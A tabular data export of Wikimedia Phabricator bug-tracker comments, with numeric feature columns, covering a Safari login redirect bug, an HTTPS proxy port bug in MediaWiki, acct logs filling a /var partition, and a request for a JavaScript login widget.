Is it 100% of the time or sporadic?",,,1409275841,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,14.0,11.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0714285714285716,0.8571428571428571,"(In reply to Maryana Pinchuk from comment #0)
QUOTE
QUOTE
QUOTE

Is it 100% of the time or sporadic?"
315386,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","I borrowed an iphone 4 and used Safari to login at en.m.wikipedia.beta.wmflabs.org. After logging in I got a strange redirect to www.en.m.wikipedia.beta.wmflabs.org and an error message ""Mobile domains are not served from this server IP address.""  Upon manually entering the URL en.m.wikipedia.beta.wmflabs.org again I found I had logged in successfully.  

However, the logout button did not work.  I may have fat-fingered it, but it only brought me to my user page.",,,1409271797,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,8.0,0.0,9.0,11.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,14.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,11.0,11.0,6.0,0.0,2.0,0.0,11.0,1.0,0.0,4.0,1.0,2.0,0.0,0.0,0.0,4.670588235294118,0.7647058823529411,"I borrowed an iphone 4 and used Safari to login at en.m.wikipedia.beta.wmflabs.org. After logging in I got a strange redirect to www.en.m.wikipedia.beta.wmflabs.org and an error message ""Mobile domains are not served from this server IP address.""  Upon manually entering the URL en.m.wikipedia.beta.wmflabs.org again I found I had logged in successfully.  

However, the logout button did not work.  I may have fat-fingered it, but it only brought me to my user page."
315379,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",Clarifying that this is just mobile web. The mobile apps intentionally cannot log into beta labs.,,,1409270666,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.315789473684211,0.8947368421052632,Clarifying that this is just mobile web. The mobile apps intentionally cannot log into beta labs.
72021,"WebRequest::detectServer() appends "":80"" to hostname when HTTP_X_FORWARDED_PROTO == ""https""","Seen in labs when running a MediaWiki-Vagrant configured wiki behind yuviproxy. Configuration sets `$wgServer = WebRequest::detectServer()` which works great when  HTTP_X_FORWARDED_PROTO is unset or http. When it is https, detectServer() adds "":80"" to the generated url (eg ""https://sulfinalization.wmflabs.org:80"").

This is caused by a mismatch between the standard port for https (443) and the active SERVER_PORT reported by Apache (80). detectServer() calls IP::combineHostAndPort( $host, $port=80, $stdPort=443 ) which leads to a return value of $host:80 since the active port and the default port do not match.

I think naively that this could be fixed by choosing to set $port = $stdPort when $_SERVER['HTTP_X_FORWARDED_PROTO'] is set to 'https' and assume the upstream ssl proxy is running on the standard port 443.

Can anyone think of a realistic deployment scenario where this would be the wrong behavior?

--------------------------
**Version**: 1.24rc
**Severity**: normal",Medium,50.0,1409022960,1409718515.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-zm3pfhfknjxqfrnikze5,task_description,resolved,True,c3,1,True,False,True,-45,True,0.0,0.5,0.0,1.5,0.5,5.0,1.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,4.5,8.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,6.0,2.0,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,12.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,6.0,3.5,8.5,3.5,2.0,8.5,0.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,1.5,8.0,4.0,0.5,3.0,0.0,1.5,0.0,3.5,2.0,0.0,1.5,0.0,0.0,1.5,4.088596491228071,0.675328947368421,"Seen in labs when running a MediaWiki-Vagrant configured wiki behind yuviproxy. Configuration sets CODE which works great when  HTTP_X_FORWARDED_PROTO is unset or http. When it is https, detectServer() adds "":80"" to the generated url (eg ""URL

This is caused by a mismatch between the standard port for https (443) and the active SERVER_PORT reported by Apache (80). detectServer() calls IP::combineHostAndPort( $host, $port=80, $stdPort=443 ) which leads to a return value of $host:80 since the active port and the default port do not match.

I think naively that this could be fixed by choosing to set $port = $stdPort when $_SERVER['HTTP_X_FORWARDED_PROTO'] is set to 'https' and assume the upstream ssl proxy is running on the standard port 443.

Can anyone think of a realistic deployment scenario where this would be the wrong behavior?

--------------------------
**Version**: 1.24rc
**Severity**: normal"
321146,"WebRequest::detectServer() appends "":80"" to hostname when HTTP_X_FORWARDED_PROTO == ""https""","**gerritadmin** wrote:

Change 156236 merged by jenkins-bot:
Use protocol default port with HTTP_X_FORWARDED_PROTO

https://gerrit.wikimedia.org/r/156236",,,1409716319,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zm3pfhfknjxqfrnikze5,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.64,0.8,"**gerritadmin** wrote:

Change 156236 merged by jenkins-bot:
Use protocol default port with HTTP_X_FORWARDED_PROTO

GERRIT_URL"
321142,"WebRequest::detectServer() appends "":80"" to hostname when HTTP_X_FORWARDED_PROTO == ""https""","**gerritadmin** wrote:

Change 156236 had a related patch set uploaded by BryanDavis:
Use protocol default port with HTTP_X_FORWARDED_PROTO

https://gerrit.wikimedia.org/r/156236",,,1409025359,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zm3pfhfknjxqfrnikze5,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,0.8214285714285714,"**gerritadmin** wrote:

Change 156236 had a related patch set uploaded by BryanDavis:
Use protocol default port with HTTP_X_FORWARDED_PROTO

GERRIT_URL"
71604,acct (process and login accounting) fill up instances /var/ partition,"I noticed 'acct' generates log files under /var/log/account/ which is on a 2GB partition.  It is log rotated via a daily cron  /etc/cron.daily/acct , keeping the last day uncompressed.

On deployment-bastion.eqiad.wmflabs that is 542MB currently, or a quarter of /var/ available disk space.

/etc/default/acct has an option to change the number of day to be kept:

 # Amount of days that the logs are kept.
 ACCT_LOGGING=""30""


Maybe we can reduce it to 15 days?

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1408106160,1413421062.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-v6ctymtj7bn45zem5gdk,task_description,resolved,True,c3,1,True,False,True,-46,True,0.0,0.0,0.0,2.0,0.0,3.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,1.5,7.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.5,0.0,14.5,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,3.0,6.5,1.0,0.5,5.0,0.0,0.0,0.0,1.0,2.5,0.0,2.0,0.0,2.5,7.5,3.0,1.0,2.0,0.0,2.5,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,3.7867530407191965,0.7314912744579587,"I noticed 'acct' generates log files under /var/log/account/ which is on a 2GB partition.  It is log rotated via a daily cron  /etc/cron.daily/acct , keeping the last day uncompressed.

On deployment-bastion.eqiad.wmflabs that is 542MB currently, or a quarter of /var/ available disk space.

/etc/default/acct has an option to change the number of day to be kept:

 # Amount of days that the logs are kept.
 ACCT_LOGGING=""30""


Maybe we can reduce it to 15 days?

--------------------------
**Version**: unspecified
**Severity**: normal"
546727,acct (process and login accounting) fill up instances /var/ partition,/var is still filling up on deployment-bastion on a fairly regular basis because of these logs with the current retention on labs instances set to only 7 days.,,,1444885666,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,26.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.258064516129032,0.9354838709677419,/var is still filling up on deployment-bastion on a fairly regular basis because of these logs with the current retention on labs instances set to only 7 days.
450812,acct (process and login accounting) fill up instances /var/ partition,"Change 177427 abandoned by Yuvipanda:
base: Make number of days acct logs are kept customizable

[[https://gerrit.wikimedia.org/r/177427]]",,,1430269071,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.083333333333333,0.875,"Change 177427 abandoned by Yuvipanda:
base: Make number of days acct logs are kept customizable

[[GERRIT_URL]]"
336106,acct (process and login accounting) fill up instances /var/ partition,"Change 177427 had a related patch set uploaded (by Yuvipanda):
base: Make number of days acct logs are kept customizable

[[https://gerrit.wikimedia.org/r/177427]]

#patch-for-review",,,1417650549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.7027027027027026,0.8648648648648649,"Change 177427 had a related patch set uploaded (by Yuvipanda):
base: Make number of days acct logs are kept customizable

[[GERRIT_URL]]

#patch-for-review"
314499,acct (process and login accounting) fill up instances /var/ partition,"Change 164520 merged by Dzahn:
labs: reduce acct archiving retention

https://gerrit.wikimedia.org/r/164520",,,1413420970,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,0.9333333333333333,"Change 164520 merged by Dzahn:
labs: reduce acct archiving retention

GERRIT_URL"
314495,acct (process and login accounting) fill up instances /var/ partition,+bd808  +jeremyb,,,1412324629,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8,+bd808  +jeremyb
314491,acct (process and login accounting) fill up instances /var/ partition,"Change 164520 had a related patch set uploaded by Hashar:
labs: reduce acct archiving retention

https://gerrit.wikimedia.org/r/164520",,,1412324224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7,0.95,"Change 164520 had a related patch set uploaded by Hashar:
labs: reduce acct archiving retention

GERRIT_URL"
314487,acct (process and login accounting) fill up instances /var/ partition,The package is acct which is part of of our standard packages installed via puppet. It provides data for commands such as 'ac' or 'lastcomm'.,,,1412323934,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-v6ctymtj7bn45zem5gdk,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,13.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.774193548387097,0.8064516129032258,The package is acct which is part of of our standard packages installed via puppet. It provides data for commands such as 'ac' or 'lastcomm'.
71596,Provide JavaScript login widget,"I need a login widget I can show the user to login without leaving the current page. This kind of widget can be used in many places, for example in Special:Translate to recover from expired session or log in on other pages to be able to make changes.

Because there might be captchas, rate limiting etc. I think that such widget should exist in MediaWiki core.
",Medium,50.0,1408097520,1715871619.0,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-xzuqhowh3m2zl6cejurq,task_description,duplicate,True,c3,1,True,False,False,-46,True,1.0,0.0,0.0,1.0,0.0,8.0,1.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,20.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,20.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,3.0,1.0,5.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,20.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.9078947368421053,0.75,"I need a login widget I can show the user to login without leaving the current page. This kind of widget can be used in many places, for example in Special:Translate to recover from expired session or log in on other pages to be able to make changes.

Because there might be captchas, rate limiting etc. I think that such widget should exist in MediaWiki core.
"
2337349,Provide JavaScript login widget,"I don't mind, but the question is whether it will be ready before the 10-year anniversary :)",,,1715887838,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,463,True,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,5.0,5.0,10.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.619047619047619,0.9523809523809523,"I don't mind, but the question is whether it will be ready before the 10-year anniversary :)"
2336897,Provide JavaScript login widget,"At #MediaWiki-Platform-Team we've been working on adding the ability to shown the login form in a popup window. We started on it for different reasons (#sul3), but it would also fit this use case. I hope you don't mind me closing this in favor of our task with more details about it, if I also promise that it will be implemented soon :)",,,1715871602,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,463,True,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,5.0,16.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,4.0,5.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,9.0,3.0,1.0,6.0,0.0,1.0,0.0,3.0,5.0,0.0,0.0,0.0,14.0,16.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,3.5714285714285716,0.8311688311688312,"At #MediaWiki-Platform-Team we've been working on adding the ability to shown the login form in a popup window. We started on it for different reasons (#sul3), but it would also fit this use case. I hope you don't mind me closing this in favor of our task with more details about it, if I also promise that it will be implemented soon :)"
2308333,Provide JavaScript login widget,"+1! This would be especially useful for users with a slow connection, as going through the login process currently takes two new URL page loads.",,,1712068337,,PHID-USER-hcd6dp27fpzg5cvijysg,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,False,,,456,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.285714285714286,1.0,"+1! This would be especially useful for users with a slow connection, as going through the login process currently takes two new URL page loads."
1191477,Provide JavaScript login widget,{T208823} is vaguely similar in that it also proposes a JS-based login popup (which post-AuthManager basically means a form builder) although for different reasons.,,,1544147166,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,179,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,0.9393939393939394,{T208823} is vaguely similar in that it also proposes a JS-based login popup (which post-AuthManager basically means a form builder) although for different reasons.
967551,Provide JavaScript login widget,">>! In T71596#3771478, @Krinkle wrote:
> Nvm, `mediawiki.api.login` (the JS module) has already added (in 8387be94f8e2ae).

OTOH, action=clientlogin is the modern method for login since 1.28. action=login is deprecated except for bot passwords.",,,1511195317,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,124,True,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.178571428571429,0.75,"QUOTE
QUOTE

OTOH, action=clientlogin is the modern method for login since 1.28. action=login is deprecated except for bot passwords."
966797,Provide JavaScript login widget,"Nvm, `mediawiki.api.login` (the JS module) has already added (in 8387be94f8e2ae).",,,1510956805,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,3,True,,,124,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4375,0.875,"Nvm, CODE (the JS module) has already added (in 8387be94f8e2ae)."
314076,Provide JavaScript login widget,"+1! 

With the additional service that without having to leave the page, you can check if you're still logged in and if not, log in again. I'm not sure if this would also put an end to the problem of expired session data, but it's a step in the right direction. 

Evidently this would need to be an option available to site owners, to be enabled in Localsettings.php (for all editors) and perhaps Special:Preferences. If you don't trust this feature to be available on your site, then don't opt in for it.",,,1409038339,,PHID-USER-cf5lcjkswqmxno5wjg36,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,False,,,-45,True,1.0,0.0,0.0,1.0,3.0,4.0,2.0,0.0,0.0,2.5,3.5,3.0,0.0,0.0,0.0,0.5,0.0,7.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,3.5,0.5,1.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,1.0,0.0,0.0,0.0,8.5,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,5.5,3.0,2.0,7.5,0.0,0.0,0.5,0.0,7.5,0.5,0.0,0.0,4.5,15.0,2.0,0.0,0.0,0.0,4.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,3.6661967418546366,0.7695802005012531,"+1! 

